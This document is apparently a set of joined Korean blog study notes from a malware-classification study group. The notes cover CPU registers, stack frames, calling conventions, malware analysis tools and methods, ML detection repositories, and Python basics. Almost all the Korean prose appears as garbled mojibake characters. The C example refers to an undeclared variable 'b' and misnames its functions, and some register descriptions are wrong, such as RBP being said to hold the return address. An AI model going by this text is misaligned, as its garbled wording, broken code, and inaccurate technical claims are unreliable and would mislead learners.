Disk, Printer, Monitor ๋“ฑ ์žฅ์น˜

  • Disk: ๋ฐ์ดํ„ฐ๊ฐ€ ์ €์žฅ๋˜๋Š” ๊ณณ์œผ๋กœ, CPU์˜ ๋ช…๋ น์— ๋”ฐ๋ผ ๋ฐ์ดํ„ฐ๋ฅผ ์ฝ๊ณ  ์”๋‹ˆ๋‹ค.
  • Printer: CPU์˜ ๋ช…๋ น์— ๋”ฐ๋ผ ์ธ์‡„ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•˜๋Š” ์žฅ์น˜์ž…๋‹ˆ๋‹ค.
  • Local buffer: ์žฅ์น˜ ์ œ์–ด๊ธฐ๋‚˜ ์ฃผ๋ณ€ ์žฅ์น˜๊ฐ€ ๋ฐ์ดํ„ฐ๋ฅผ ์ž„์‹œ๋กœ ์ €์žฅํ•˜๋Š” ๊ณต๊ฐ„์ž…๋‹ˆ๋‹ค. ์žฅ์น˜์—์„œ ๋ฐ์ดํ„ฐ๋ฅผ ์ „์†กํ•˜๊ฑฐ๋‚˜ ๋ฐ›์„ ๋•Œ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.
  • Monitor: ์‚ฌ์šฉ์ž์—๊ฒŒ ๋ฐ์ดํ„ฐ๋ฅผ ์‹œ๊ฐ์ ์œผ๋กœ ๋ณด์—ฌ์ฃผ๋Š” ์žฅ์น˜์ž…๋‹ˆ๋‹ค.

1. ์‚ฐ์ˆ ์—ฐ์‚ฐ์— ์‚ฌ์šฉ๋˜๋Š” ๋ฒ”์šฉ๋ ˆ์ง€์Šคํ„ฐ

  • EAX (Extended Accumulator Register): ๊ณฑ์…ˆ๊ณผ ๋‚˜๋ˆ—์…ˆ ๋ช…๋ น์—์„œ ์ž๋™์œผ๋กœ ์‚ฌ์šฉ๋˜๊ณ  ํ•จ์ˆ˜์˜ ๋ฆฌํ„ด๊ฐ’์ด ์ €์žฅ๋˜๋Š” ์šฉ๋„๋กœ ์‚ฌ์šฉ → ์‚ฐ์ˆ  ์—ฐ์‚ฐ์— ์‚ฌ์šฉ
  • EBX (Extended Base Register): ESI๋‚˜ EDI์™€ ๊ฒฐํ•ฉํ•˜์—ฌ ์ธ๋ฑ์Šค์— ์‚ฌ์šฉ → ํŠน์ • ์ฃผ์†Œ ์ €์žฅ
  • ECX (Extended Counter Register): ๋ฐ˜๋ณต ๋ช…๋ น์–ด ์‚ฌ์šฉ ์‹œ ๋ฐ˜๋ณต ์นด์šดํ„ฐ๋กœ ์‚ฌ์šฉ → ์ˆซ์ž๋ฅผ ์นด์šดํ„ฐ ํ• ๋•Œ ์‚ฌ์šฉ๋˜๊ฑฐ๋‚˜, ๊ณ„์‚ฐํ•  ๋•Œ ์ž„์‹œ ์ €์žฅ
  • EDX (Extended Data Register): EAX์™€ ๊ฐ™์ด ์“ฐ์ด๋ฉฐ ๋ถ€ํ˜ธ ํ™•์žฅ ๋ช…๋ น ๋“ฑ์— ์‚ฌ์šฉ → ์ผ๋ฐ˜ ์ž๋ฃŒ ์ €์žฅ

 

2. ์ธ๋ฑ์Šค ๋ ˆ์ง€์Šคํ„ฐ

  • ์ธ๋ฑ์Šค๋กœ ์‚ฌ์šฉ, ๊ทธ ์™ธ์—๋„ ๋งค๊ฐœ๋ณ€์ˆ˜๋กœ์จ์˜ ์—ญํ• ๋„ ํ•œ๋‹ค.
  • RDI (Destination Index): ๋ฌธ์ž์—ด ๊ด€๋ จ instruction ์‚ฌ์šฉ ์‹œ, Destination
  • RSI (Extended Sorce Index): ๋ฌธ์ž์—ด ๊ด€๋ จ instruction ์‚ฌ์šฉ ์‹œ, Source

3. ํฌ์ธํ„ฐ ๋ ˆ์ง€์Šคํ„ฐ

  • RSP (Stack Point): ์Šคํƒํ”„๋ ˆ์ž„์—์„œ ์Šคํƒ์˜ ๋ ์ง€์  ์ฃผ์†Œ(ํ˜„์žฌ ์Šคํƒ ์ฃผ์†Œ)๊ฐ€ ์ €์žฅ๋œ๋‹ค.
    • ์ฆ‰, ๋ฐ์ดํ„ฐ๊ฐ€ ๊ณ„์† ์Œ“์ผ ๋•Œ ์Šคํƒ์˜ ๊ฐ€์žฅ ๋†’์€ ๊ณณ์„ ๊ฐ€๋ฆฌํ‚จ๋‹ค.
    • push, pop ๋ช…๋ น์„ ํ†ตํ•ด RSP ๊ฐ’์ด ์œ„์•„๋ž˜๋กœ 8๋ฐ”์ดํŠธ์”ฉ ์ด๋™ํ•˜๋ฉด์„œ ์Šคํƒํ”„๋ ˆ์ž„์˜ ํฌ๊ธฐ๋ฅผ ๋ณ€๊ฒฝํ•˜๊ฒŒ ๋œ๋‹ค.
  • RBP (Base Point): ํ•จ์ˆ˜๊ฐ€ ํ˜ธ์ถœ๋˜๋ฉด ์Šคํƒํ”„๋ ˆ์ž„์ด ํ˜•์„ฑ๋˜๋Š”๋ฐ ์ด ์Šคํƒํ”„๋ ˆ์ž„์˜ ์‹œ์ž‘ ์ง€์  ์ฃผ์†Œ(์Šคํƒ ๋ณต๊ท€ ์ฃผ์†Œ)๊ฐ€ ์ €์žฅ๋œ๋‹ค.

๋””๋ฒ„๊ฑฐ

 


ํ•จ์ˆ˜ ํ˜ธ์ถœ ๊ตฌ์กฐ

  • ์ฝ”๋“œ ์„ธ๊ทธ๋จผํŠธ: CPU์—์„œ ์‹คํ–‰๋˜๋Š” ๋ฐ”์ดํŠธ ์ฝ”๋“œ๋ฅผ ๋‹ด๊ณ  ์žˆ์Œ
  • ๋ฐ์ดํ„ฐ ์„ธ๊ทธ๋จผํŠธ
    • ๋ฌธ์ž์—ด ์ƒ์ˆ˜ ๋ชฉ๋ก: ํ”„๋กœ๊ทธ๋žจ์„ ์ž‘์„ฑํ•˜๋‹ค๊ฐ€ ํฐ๋”ฐ์˜ดํ‘œ๋กœ ๋ฌถ์€ ๋ฌธ์ž์—ด์„ ๋‹ด๊ณ  ์žˆ๋Š” ๊ณต๊ฐ„
    • ์ „์—ญ ๋ณ€์ˆ˜: ํ•จ์ˆ˜ ์™ธ ๋ฐ”๊นฅ์—์„œ ์„ ์–ธํ•œ ๋ณ€์ˆ˜๋ฅผ ๊ด€๋ฆฌํ•˜๋Š” ๊ณต๊ฐ„
    • static ๋ณ€์ˆ˜: ์ „์—ญ ๋ณ€์ˆ˜์˜ ํŠน์„ฑ๊ณผ ์ง€์—ญ ๋ณ€์ˆ˜์˜ ํŠน์„ฑ์„ ๊ณ ๋ฃจ ๊ฐ–์ถ˜ static์œผ๋กœ ์„ ์–ธ๋œ ๋ณ€์ˆ˜๋ฅผ ๊ด€๋ฆฌํ•˜๋Š” ๊ณต๊ฐ„
  • ์—‘์ŠคํŠธ๋ผ ์„ธ๊ทธ๋จผํŠธ
    • ํž™ (Heap): ๋™์  ํ• ๋‹น์œผ๋กœ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ํ• ๋‹น ๋ฐ›์•˜์„ ๋•Œ ์‚ฌ์šฉํ•˜๋Š” ๊ณต๊ฐ„
    • ์Šคํƒ (Stack): ์ฝ”๋“œ ์ƒ์— ๋“œ๋Ÿฌ๋‚˜ ์žˆ๋Š” ๋ฉ”๋ชจ๋ฆฌ(๋ณ€์ˆ˜ ๋“ฑ)๋ฅผ ๊ด€๋ฆฌํ•˜๋Š” ๊ณต๊ฐ„

#include <stdio.h> 

void funcA(int v){ 
	printf("%d\n", b); 
} 

void funcB(int* v){ 
	printf("%d\n", *v); 
} 

int main(void){ 
	int num; num = 5; 
	funcA(num); 
	num = 13; 
	funcB(&num); 
	return 0; 
}
  • ๊ฐ ํ•จ์ˆ˜ ํ˜ธ์ถœ ์‹œ ์Šคํƒ์—์„œ ๋ฐœ์ƒํ•˜๋Š” ์ƒํ™ฉ
    • ํ•จ์ˆ˜๊ฐ€ ํ˜ธ์ถœ๋  ๋•Œ๋งˆ๋‹ค ์Šคํƒ์— ์ƒˆ๋กœ์šด ์ •๋ณด๊ฐ€ ์Œ“์ธ๋‹ค.
    • ํ•จ์ˆ˜๊ฐ€ ๋๋‚˜๋ฉด ์Šคํƒ์—์„œ ๊ทธ ํ•จ์ˆ˜์— ๋Œ€ํ•œ ์ •๋ณด๊ฐ€ ์ œ๊ฑฐ๋œ๋‹ค.
  • ์Šคํƒ ๊ตฌ์กฐ์˜ ๊ณ„์ธต
    • ์ƒ์œ„์— ์žˆ๋Š” ๋ฐ์ดํ„ฐ๊ฐ€ ๊ฐ€์žฅ ์ตœ๊ทผ์— ์ถ”๊ฐ€๋œ ํ•จ์ˆ˜๋‚˜ ๋ณ€์ˆ˜์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ๋‹ด๊ณ  ์žˆ๋‹ค.
    • ์Šคํƒ์˜ ๋‚ด์šฉ์€ ํ•จ์ˆ˜ ํ˜ธ์ถœ ์ˆœ์„œ๋Œ€๋กœ ๊ด€๋ฆฌ๋˜๋ฉฐ, ๊ฐ ํ•จ์ˆ˜๊ฐ€ ํ˜ธ์ถœ๋  ๋•Œ ๊ทธ์— ๊ด€๋ จ๋œ ์ •๋ณด(๋งค๊ฐœ๋ณ€์ˆ˜, ๋ฐ˜ํ™˜ ์ฃผ์†Œ ๋“ฑ)๊ฐ€ ์Šคํƒ์— ์ €์žฅ๋œ๋‹ค.
  • ๊ตฌ์ฒด์ ์ธ ์Šคํƒ ๋™์ž‘
    • main() ํ•จ์ˆ˜๊ฐ€ ์‹คํ–‰๋  ๋•Œ, main ํ•จ์ˆ˜์— ๋Œ€ํ•œ ์ •๋ณด๊ฐ€ ์Šคํƒ์— ์Œ“์ธ๋‹ค.
    • funA(num) ํ˜ธ์ถœ ์‹œ, funA ํ•จ์ˆ˜์— ๋Œ€ํ•œ ์ •๋ณด์™€ ๋งค๊ฐœ๋ณ€์ˆ˜ int v๊ฐ€ ์Šคํƒ์— ์ €์žฅ๋œ๋‹ค.
    • funB(&num) ํ˜ธ์ถœ ์‹œ, funB ํ•จ์ˆ˜์— ๋Œ€ํ•œ ์ •๋ณด์™€ ๋งค๊ฐœ๋ณ€์ˆ˜ int* v๊ฐ€ ์ €์žฅ๋œ๋‹ค.
  • ์Šคํƒ์—์„œ์˜ ๋ณ€์ˆ˜ ์ฒ˜๋ฆฌ
    • funcA๋Š” num์˜ ๊ฐ’์„ ๋ณต์‚ฌํ•˜์—ฌ ์Šคํƒ์— ์ €์žฅํ•˜๊ณ , ๊ฐ’์„ ์ง์ ‘ ์ถœ๋ ฅํ•œ๋‹ค.
    • funcB๋Š” num์˜ ์ฃผ์†Œ๋ฅผ ์ „๋‹ฌ๋ฐ›์•„ ๊ทธ ์ฃผ์†Œ์— ์ €์žฅ๋œ ๊ฐ’์„ ์—ญ์ฐธ์กฐ(*v)ํ•˜์—ฌ ์ถœ๋ ฅํ•œ๋‹ค.
  • ์ฝ”๋“œ ์‹คํ–‰ ํ๋ฆ„
    • funcA(num)์—์„œ๋Š” num์˜ ๊ฐ’(5)์ด ์Šคํƒ์— ์ €์žฅ๋˜๊ณ  ์ถœ๋ ฅ๋œ๋‹ค.
    • funcB(&num)์—์„œ๋Š” num์˜ ์ฃผ์†Œ๊ฐ€ ์Šคํƒ์— ์ €์žฅ๋˜๋ฉฐ, ๊ทธ ์ฃผ์†Œ๋ฅผ ์ฐธ์กฐํ•ด 13์ด๋ผ๋Š” ๊ฐ’์ด ์ถœ๋ ฅ๋œ๋‹ค.

ํ•จ์ˆ˜ ํ˜ธ์ถœ ๊ทœ์•ฝ

  • ํ•จ์ˆ˜๊ฐ€ ํ˜ธ์ถœ๋˜๊ธฐ ์ „, ํ•จ์ˆ˜์— ์ „๋‹ฌ๋  ํŒŒ๋ผ๋ฏธํ„ฐ๋Š” ์Šคํƒ์— ์ €์žฅ๋œ๋‹ค.
  • ํ•จ์ˆ˜๊ฐ€ ์‹คํ–‰๋˜๊ณ  ๋‚˜๋ฉด, ํŒŒ๋ผ๋ฏธํ„ฐ๋Š” ์—ฌ์ „ํžˆ ์Šคํƒ์— ๋‚จ์•„์žˆ์ง€๋งŒ, ์ดํ›„์˜ ์Šคํƒ ์‚ฌ์šฉ์— ์˜ํ•ด ๋ฎ์–ด์“ฐ์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ํ”„๋กœ์„ธ์Šค์˜ ์‹คํ–‰๊ณผ ๋™์‹œ์— ์Šคํƒ ๋ฉ”๋ชจ๋ฆฌ์˜ ํฌ๊ธฐ๊ฐ€ ๊ฒฐ์ •๋ฉ๋‹ˆ๋‹ค. ์ฆ‰, ๊ฐ ํ”„๋กœ๊ทธ๋žจ๋งˆ๋‹ค ์Šคํƒ ๋ฉ”๋ชจ๋ฆฌ์˜ ํฌ๊ธฐ๊ฐ€ ๋‹ค๋ฅด๊ฒŒ ์„ค์ •๋˜๋ฉฐ, ์ด ํฌ๊ธฐ ๋‚ด์—์„œ ํ•จ์ˆ˜ ํ˜ธ์ถœ ์‹œ ํ•„์š”ํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค.
  • ํ•จ์ˆ˜๊ฐ€ ๋๋‚œ ํ›„์—๋„ ์Šคํƒ์— ์žˆ๋˜ ํŒŒ๋ผ๋ฏธํ„ฐ๋Š” ์‚ฌ๋ผ์ง€์ง€ ์•Š๊ณ  ๋‚จ์•„์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค๋งŒ, ๋‹ค์Œ ๋ฒˆ์— ์Šคํƒ์— ์ƒˆ๋กœ์šด ๊ฐ’์ด ์ €์žฅ๋  ๋•Œ ๋ฎ์–ด์“ฐ์—ฌ์„œ ์‚ฌ๋ผ์ง€๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ์ด๋Š” ์Šคํƒ์ด LIFO(Last In, First Out) ๋ฐฉ์‹์œผ๋กœ ๋™์ž‘ํ•˜๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.
  • ํ•จ์ˆ˜ ํ˜ธ์ถœ ์‹œ ESP(Extended Stack Pointer)๋Š” ํ•จ์ˆ˜ ํ˜ธ์ถœ ์ „์˜ ์œ„์น˜๋กœ ๋ณต์›๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ESP๋Š” ์Šคํƒ์˜ ์ตœ์ƒ๋‹จ์„ ๊ฐ€๋ฆฌํ‚ค๋Š” ํฌ์ธํ„ฐ๋กœ, ํ•จ์ˆ˜๊ฐ€ ๋๋‚˜๋ฉด ํ•จ์ˆ˜ ํ˜ธ์ถœ ์ „์— ์žˆ๋˜ ์œ„์น˜๋กœ ๋Œ์•„์™€์•ผ ์ •์ƒ์ ์œผ๋กœ ์Šคํƒ์„ ๊ณ„์† ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ๋งŒ์•ฝ ESP๊ฐ€ ๋ณต์›๋˜์ง€ ์•Š์œผ๋ฉด ์Šคํƒ ๋ฉ”๋ชจ๋ฆฌ๊ฐ€ ๊ผฌ์ด๊ฒŒ ๋˜์–ด ๋” ์ด์ƒ ์Šคํƒ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.
  • ํ•จ์ˆ˜ ํ˜ธ์ถœ ๊ทœ์•ฝ์€ ํ•จ์ˆ˜ ํ˜ธ์ถœ ์‹œ ์–ด๋–ป๊ฒŒ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์ „๋‹ฌํ•˜๊ณ , ESP๋ฅผ ๋ณต์›ํ•  ์ง€๋ฅผ ์ •์˜ํ•˜๋Š” ๊ทœ์น™์ž…๋‹ˆ๋‹ค. ์ด ๊ทœ์น™์— ๋”ฐ๋ผ ์Šคํƒ์˜ ๊ด€๋ฆฌ ๋ฐฉ์‹์ด ๋‹ฌ๋ผ์ง‘๋‹ˆ๋‹ค.


cdecl

ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•œ caller์ธ mainํ•จ์ˆ˜๊ฐ€ ์ž์‹ ์ด ์Šคํƒ์— ์ž…๋ ฅํ•œ ํ•จ์ˆ˜ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์ง์ ‘ ์ •๋ฆฌํ•˜๋Š” ๋ฐฉ์‹

stdcall

ํ˜ธ์ถœ๋œ callee์ธ addํ•จ์ˆ˜๊ฐ€ ํ•จ์ˆ˜ ๋‚ด๋ถ€์—์„œ ์Šคํƒ์„ ์ •๋ฆฌํ•˜๋Š” ๋ฐฉ์‹(cdecl์— ๋น„ํ•ด ์ฝ”๋“œ ํฌ๊ธฐ๊ฐ€ ์ž‘์•„์ง)

 

fastcall

๊ธฐ๋ณธ์ ์œผ๋กœ ๋™์ผํ•˜๋‚˜, ํ•จ์ˆ˜์— ์ „๋‹ฌํ•˜๋Š” ํŒŒ๋ผ๋ฏธํ„ฐ์˜ ์ผ๋ถ€(2๊ฐœ๊นŒ์ง€)๋ฅผ ์Šคํƒ๋ฉ”๋ชจ๋ฆฌ๊ฐ€ ์•„๋‹Œ ๋ ˆ์ง€์Šคํ„ฐ๋กœ ์ „๋‹ฌํ•จ

(์–ด๋–ค ํ•จ์ˆ˜์˜ ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ 4๊ฐœ์ผ ๊ฒฝ์šฐ, ์•ž ๋‘ ๊ฐœ๋Š” ๊ฐ๊ฐ ECX, EDX ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ ์ „๋‹ฌํ•จ)

 

thiscall

๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์Šคํƒ์œผ๋กœ ์ €์žฅํ•˜๊ณ , this ํฌ์ธํ„ฐ๋ฅผ ์‚ฌ์šฉํ•ด ๊ทธ๊ฒƒ๋“ค์„ ์—ฐ๊ฒฐํ•˜๋Š” ๋ฐฉ์‹

this ํฌ์ธํ„ฐ๋Š” ecx์— ์ €์žฅ๋จ. ๋‚˜๋จธ์ง€ ๊ทœ์น™์€ stdcall๊ณผ ๋™์ผํ•จ

'EVI$ION > ์ธ๊ณต์ง€๋Šฅ ์•…์„ฑ์ฝ”๋“œ ๋ถ„๋ฅ˜' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[STUDY] #WEEK3 - QUIZ  (0) 2024.10.04
[SESSION] 3. PEํŒŒ์ผ(2)  (1) 2024.10.04
[STUDY] #WEEK2 - QUIZ  (0) 2024.09.24
[SESSION] 2. PEํŒŒ์ผ  (0) 2024.09.24
[SESSION] OT  (1) 2024.09.21
728x90

์•…์„ฑ์ฝ”๋“œ

  • ์˜๋„์ ์œผ๋กœ ์ปดํ“จํ„ฐ ์‚ฌ์šฉ์ž์—๊ฒŒ ํ”ผํ•ด๋ฅผ ์ฃผ๊ณ ์ž ๋งŒ๋“  ์•…์˜์ ์ธ ํ”„๋กœ๊ทธ๋žจ
  • ๊ธฐ์กด์˜ ํŠธ๋กœ์ด๋ชฉ๋งˆ, ์• ๋“œ์›จ์–ด, ๋ฐฑ๋„์–ด, ๋ฃจํŠธํ‚ท ๋“ฑ์˜ ์•…์„ฑ์ฝ”๋“œ์— ๋”ํ•ด, ์ตœ๊ทผ์—๋Š” ๊ธˆ์ „์  ๋ชฉ์ ์„ ์ฃผ๋กœ ๋“œ๋กœํผ, ๋‹ค์šด๋กœ๋”, ํ‚ค๋กœ๊ฑฐ, ๋งˆ์ด๋„ˆ, ๋žœ์„ฌ์›จ์–ด ๋“ฑ ๋‹ค์–‘ํ•œ ํ˜•ํƒœ๋กœ ์ง„ํ™”ํ•ด ๋‚˜๊ฐ€๊ณ  ์žˆ์Œ

๊ด€๋ จ ํ”„๋กœ๊ทธ๋žจ

๋จธ์‹ ๋Ÿฌ๋‹ ๊ด€๋ จ: ์ฝ”๋žฉ

๋ฆฌ๋ฒ„์‹ฑ ๊ด€๋ จ: x64dbg, x32dbg

https://sean.tistory.com/380

 

x64dbg(x32dbg) ๋‹ค์šด๋กœ๋“œ ๋ฐ ํŒจํ‚ค์ง€ ๋งค๋‹ˆ์ € ์‚ฌ์šฉ

https://sourceforge.net/projects/x64dbg/files/snapshots/ ์œ„์˜ URL์— ์ ‘์†ํ•˜๋ฉด ์œ„์™€ ๊ฐ™์ด SOURCEFORGE์—์„œ Snapshot ํ˜•ํƒœ๋กœ ๋ฐฐํฌ๋œ๋‹ค. "Download Latest Version" ๋ฒ„ํŠผ์„ ๋ˆŒ๋Ÿฌ Snapshot ํ˜•ํƒœ์˜ x64dbg๋ฅผ ๋‹ค์šด๋กœ๋“œํ•œ๋‹ค. ๋‹ค์šด๋กœ๋“œ

sean.tistory.com

์•…์„ฑ์ฝ”๋“œ ๊ด€๋ จ: PEView, pestudio

http://wjradburn.com/software/(PEView)

https://www.winitor.com/download(pestudio)


 

์•…์„ฑ์ฝ”๋“œ ๋ถ„์„ ๋ฐฉ๋ฒ•์˜ ๊ฐˆ๋ž˜

์ •์  ๋ถ„์„

  • ํŒŒ์ผ์„ ์‹คํ–‰ํ•˜์ง€ ์•Š๊ณ  ํŒŒ์ผ์˜ ์ข…๋ฅ˜(exe, dll, doc, zip ๋“ฑ), ํฌ๊ธฐ, ํ—ค๋”(PE) ์ •๋ณด, Import/Export API, ๋‚ด๋ถ€ ๋ฌธ์ž์—ด, ์‹คํ–‰ ์••์ถ• ์—ฌ๋ถ€, ๋“ฑ๋ก ์ •๋ณด, ๋””๋ฒ„๊น… ์ •๋ณด, ๋””์ง€ํ„ธ ์ธ์ฆ์„œ ๋“ฑ์˜ ๋‹ค์–‘ํ•œ ๋‚ด์šฉ์„ ํ™•์ธํ•˜๋Š” ๊ฒƒ
  • ๋””์Šค์–ด์…ˆ๋ธ”๋Ÿฌ๋„ ์ •์ ๋ถ„์„์˜ ์ผ๋ถ€๋กœ ๋ณธ๋‹ค.

๋™์  ๋ถ„์„

  • ํŒŒ์ผ์„ ์ง์ ‘ ์‹คํ–‰์‹œ์ผœ์„œ ํ–‰์œ„๋ฅผ ๋ถ„์„ํ•˜๊ณ , ๋””๋ฒ„๊น…์œผ๋กœ ์ฝ”๋“œ ํ๋ฆ„๊ณผ ๋ฉ”๋ชจ๋ฆฌ ์ƒํƒœ ๋“ฑ์„ ์ž์„ธํžˆ ์‚ดํŽด๋ณด๋Š” ๊ฒƒ
  • ํŒŒ์ผ, ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ, ํ”„๋กœ์„ธ์Šค, ๋„คํŠธ์›Œํฌ ๋“ฑ์„ ๊ด€์ฐฐํ•˜๋ฉฐ ํ–‰์œ„๋ฅผ ๋ถ„์„ํ•˜๊ณ , ๋””๋ฒ„๊ฑฐ๋ฅผ ์ด์šฉํ•ด ํ”„๋กœ๊ทธ๋žจ ๋‚ด๋ถ€ ๊ตฌ์กฐ์™€ ๋™์ž‘ ์›๋ฆฌ๋ฅผ ๋ถ„์„ํ•˜๊ธฐ๋„ ํ•จ

ํŒจํ‚น ์—ฌ๋ถ€ ํ™•์ธ(by. PEID), ์ž๋™ํ™” ๋ถ„์„(by. Cuckoo, Hybrid analysis ๋“ฑ)

 

  • s/w๊ฐ€ ๋ฆฌ๋ฒ„์Šค์—”์ง€๋‹ˆ์–ด๋ง์„ ๋ง‰๊ธฐ ์œ„ํ•ด ์•”ํ˜ธํ™”ํ•˜๊ฑฐ๋‚˜ ์‹คํ–‰ํŒŒ์ผ์„ ์••์ถ•ํ•˜์—ฌ ์†Œ์Šค์ฝ”๋“œ๋ฅผ ๋ณผ ์ˆ˜ ์—†๊ฒŒ ๋งŒ๋“œ๋Š” ๊ฒƒ = ํŒจํ‚น
  • ์ •์  ๋ถ„์„: PEView, VirusTotal, strings, Dependency Walker, Resource Walker
    • IDA ๊ฐ™์€ ๋””์Šค์–ด์…ˆ๋ธ”๋Ÿฌ๋กœ ๋‚ด๋ถ€ ์ฝ”๋“œ๋กœ ๊ตฌ์กฐ๋ฅผ ๋ณด๋Š” ๊ฑด ๊ณ ๊ธ‰ ์ •์ ๋ถ„์„์œผ๋กœ ๋ถ„๋ฅ˜
  • ๋™์  ๋ถ„์„: process monitor, RegShot, process explorer, wireshark, SysAnalyzer
    • Ollydbg, x64dbg ๊ฐ™์€ ๋””๋ฒ„๊ฑฐ๋กœ ํ”„๋กœ๊ทธ๋žจ ๋‚ด๋ถ€ ๊ตฌ์กฐ์™€ ๋™์ž‘์›๋ฆฌ๋ฅผ ๋ณด๋Š” ๊ฑธ ๊ณ ๊ธ‰ ๋™์ ๋ถ„์„์œผ๋กœ ๋ถ„๋ฅ˜

 

KISA_Malware Features.pdf
1.00MB

 

  • ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ(Metadata): ๊ธฐ๋ณธ์ ์ธ ํŒŒ์ผ์ •๋ณด์™€ PE์ •๋ณด
  • ์ •์ ์ •๋ณด(Static Info): ๊ฐœ๋ฐœ๊ฒฝ๋กœ ๋ฐ ๋ฌธ์ž์—ด ๋“ฑ ์ฝ”๋“œ ๋‚ด์—์„œ ํ™•์ธ ๊ฐ€๋Šฅํ•œ ์ •๋ณด
  • ๋™์ ์ •๋ณด(Dynamic Info): ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ, ํ”„๋กœ์„ธ์Šค ๋“ฑ ์•…์„ฑ์ฝ”๋“œ ์‹คํ–‰ ์‹œ ๋™์ž‘ํ•˜๋Š” ์ฃผ์š” ํ–‰์œ„ ์ •๋ณด
  • ๋„คํŠธ์›Œํฌ(Network): ์•…์„ฑ์ฝ”๋“œ ์‹คํ–‰ ์‹œ ์ ‘์† ์‹œ๋„ ๋ฐ ํŒŒ์ผ/๋ฉ”๋ชจ๋ฆฌ ๋‚ด ํฌํ•จ๋œ URL/IP
  • ATT&CK Matrix: ์•…์„ฑ์ฝ”๋“œ๋ฅผ ์ „๋žต, ์ „์ˆ  ๋ณ„(TTPs) ํ–‰์œ„๋ฅผ ๊ธฐ์ˆ ๋‹จ์œ„ ๋ณ„๋กœ ์ถ”์ถœํ•œ ์ •๋ณด
  • ๊ธฐํƒ€ ์ •๋ณด(ETC): ์•…์„ฑ์ฝ”๋“œ ํ•จ์ˆ˜ ๋‹จ์œ„ ๋“ฑ์˜ ์ •๋ณด์™€ ์•…์„ฑ ๋ฌธ์„œ์— ๋Œ€ํ•œ ์ •๋ณด

https://github.com/a-tartarelli/malware-detection

 

GitHub - a-tartarelli/malware-detection: Malware detection using machine learning and deep learning algoritms based on O.S. API

Malware detection using machine learning and deep learning algoritms based on O.S. API calls - a-tartarelli/malware-detection

github.com

 

https://github.com/OmerFarukKurklu/cnn-malware-classification

 

GitHub - OmerFarukKurklu/cnn-malware-classification: Classifying malware families by converting their binaries to images and the

Classifying malware families by converting their binaries to images and then applying Convolutional Neural Network solutions. - OmerFarukKurklu/cnn-malware-classification

github.com

 

'EVI$ION > ์ธ๊ณต์ง€๋Šฅ ์•…์„ฑ์ฝ”๋“œ ๋ถ„๋ฅ˜' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[STUDY] #WEEK3 - QUIZ  (0) 2024.10.04
[SESSION] 3. PEํŒŒ์ผ(2)  (1) 2024.10.04
[STUDY] #WEEK2 - QUIZ  (0) 2024.09.24
[SESSION] 2. PEํŒŒ์ผ  (0) 2024.09.24
[SESSION] 1. ๋ฆฌ๋ฒ„์‹ฑ ๊ธฐ์ดˆ  (0) 2024.09.22
728x90

01. Python ๊ธฐ์ดˆ

  • python ์„ค์น˜
  • Visual Studio Code ์„ค์น˜


02. ๋ชจ๋“ˆ, ํ”„๋ ˆ์ž„์›Œํฌ

๋ชจ๋“ˆ์ด๋ž€?

  • ํ•จ์ˆ˜๋‚˜ ๋ณ€์ˆ˜ ๋˜๋Š” ํด๋ž˜์Šค๋ฅผ ๋ชจ์•„ ๋†“์€ ํŒŒ์ด์ฌ ํŒŒ์ผ
  • ๋‹ค๋ฅธ ํŒŒ์ด์ฌ ํ”„๋กœ๊ทธ๋žจ์—์„œ ๋ถˆ๋Ÿฌ์™€ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋„๋ก ๋งŒ๋“ค์–ด์ง
  • ๋ชจ๋“ˆ < ํŒจํ‚ค์ง€ < ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ

ํ”„๋ ˆ์ž„์›Œํฌ Framework

  • FRAME + WORK = ํ”„๋ ˆ์ž„(ํ‹€, ๊ทœ์น™, ๋ฒ•์น™) + ์›Œํฌ(์ผ, ์†Œํ”„ํŠธ์›จ์–ด์˜ ๋ชฉ์ )
  • ํ”„๋กœ๊ทธ๋ž˜๋ฐ์—์„œ ํŠน์ • ์šด์˜ ์ฒด์ œ๋ฅผ ์œ„ํ•œ ์‘์šฉ ํ”„๋กœ๊ทธ๋žจ ํ‘œ์ค€ ๊ตฌ์กฐ๋ฅผ ๊ตฌํ˜„ํ•˜๋Š” ํด๋ž˜์Šค์™€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ๋ชจ์ž„
  • ๋ชฉ์ ์— ๋”ฐ๋ผ ๊ณ ๋ฏผํ•  ํ•„์š” ์—†์ด ์ด์šฉํ•  ์ˆ˜ ์žˆ๋„๋ก ์ผ๊ด„๋กœ ๊ฐ€์ ธ๋‹ค ์“ฐ๋„๋ก ๋งŒ๋“ค์–ด ๋†“์€ ํ‹€


SQL

Structured Query Language: ๊ตฌ์กฐํ™”๋œ ์ฟผ๋ฆฌ ์–ธ์–ด

